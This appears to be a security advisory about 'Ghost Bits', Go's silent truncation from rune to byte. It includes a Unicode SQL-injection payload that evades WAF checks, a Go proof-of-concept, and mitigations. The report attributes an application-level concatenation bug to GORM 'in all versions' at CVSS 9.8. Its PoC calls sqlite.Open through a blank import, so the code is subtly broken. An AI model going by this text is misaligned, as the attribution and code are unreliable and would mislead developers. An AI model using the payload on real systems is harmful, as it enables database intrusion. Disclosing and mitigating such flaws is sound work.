SECURITY: Ghost Bits Vulnerability - Type conversion from rune to byte silently truncates high bits
type:critical
# Ghost Bits Vulnerability in GORM
## Summary
A critical security vulnerability has been identified in Go's type conversion mechanism that affects applications using GORM. The vulnerability, dubbed "Ghost Bits," enables attackers to bypass WAF detection and execute SQL injection attacks by exploiting silent high-bit truncation during type conversions from `rune` (32-bit) to `byte` (8-bit).
## Severity
**Critical** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)
## Affected Components
- GORM query parameter handling
- GORM raw SQL execution
- GORM where clause processing
## Affected Versions
All versions
## Technical Details
### Vulnerability Mechanism
When Go code converts a `rune` (32-bit Unicode code point) to `byte` (8-bit), the high 24 bits are silently discarded:
```go
var ch rune = '\u2F58' // 爻 (U+2F58) = 0x00002F58
b := byte(ch) // Only low 8 bits: 0x58 = 'X'
```
This silent truncation creates a **65,536x attack space** compared to Java's 8-bit truncation.
### Attack Example
**SQL Injection Bypass**:
```go
// Original payload: ' OR '1'='1
// Ghost Bits payload: ħ OR ħ1ħ=ħ1
// WAF sees: "ħ OR ħ1ħ=ħ1" (no match)
// Backend converts: ħ (U+0127) → 0x27 = '
// Result: "' OR '1'='1" (SQL injection executed)
```
### Proof of Concept
```go
package main
import (
"fmt"
"strings"
"gorm.io/gorm"
_ "gorm.io/driver/sqlite"
)
type User struct {
ID uint
Name string
}
func main() {
db, _ := gorm.Open(sqlite.Open("test.db"), &gorm.Config{})
db.AutoMigrate(&User{})
id := "ħ OR ħ1ħ=ħ1"
wafPattern := "' OR '1'='1"
// WAF detection
if !strings.Contains(id, wafPattern) {
fmt.Println("✓ WAF bypass successful")
}
// Backend processing (vulnerable code)
var idBytes []byte
for _, ch := range id {
idBytes = append(idBytes, byte(ch))
}
restored := string(idBytes)
if restored == wafPattern {
// ❌ DANGEROUS - SQL concatenation
db.Raw(fmt.Sprintf("SELECT * FROM users WHERE id = '%s'", restored)).Scan(&User{})
fmt.Println("✓ SQL injection successful")
}
}
```
## Impact
Attackers can bypass WAF/IDS protection and execute:
- SQL injection
- Data exfiltration
- Database compromise
## Mitigation
### Immediate Mitigation
1. **Avoid dangerous type conversions**:
```go
// ❌ Dangerous
for _, ch := range s {
b := byte(ch)
}
// ✅ Safe
bytes := []byte(s)
```
2. **Input validation**:
```go
func validateInput(s string) bool {
for _, ch := range s {
if ch > 127 {
return false
}
}
return true
}
```
3. **Use GORM's safe query methods**:
```go
// ❌ DANGEROUS
db.Raw(fmt.Sprintf("SELECT * FROM users WHERE id = '%s'", id))
// ✅ Safe - Use parameterized queries
db.Where("id = ?", id).First(&user)
// ✅ Safe - Use Raw with parameters
db.Raw("SELECT * FROM users WHERE id = ?", id).Scan(&user)
```
## References
- Go Security Advisory: https://github.com/golang/go/issues/78989
- Original Research: Ghost Bits Vulnerability
- Black Hat Asia 2026: "Cast Attack: A New Threat Posed by Ghost Bits in Java"
---
**This vulnerability has been disclosed following responsible disclosure practices.**
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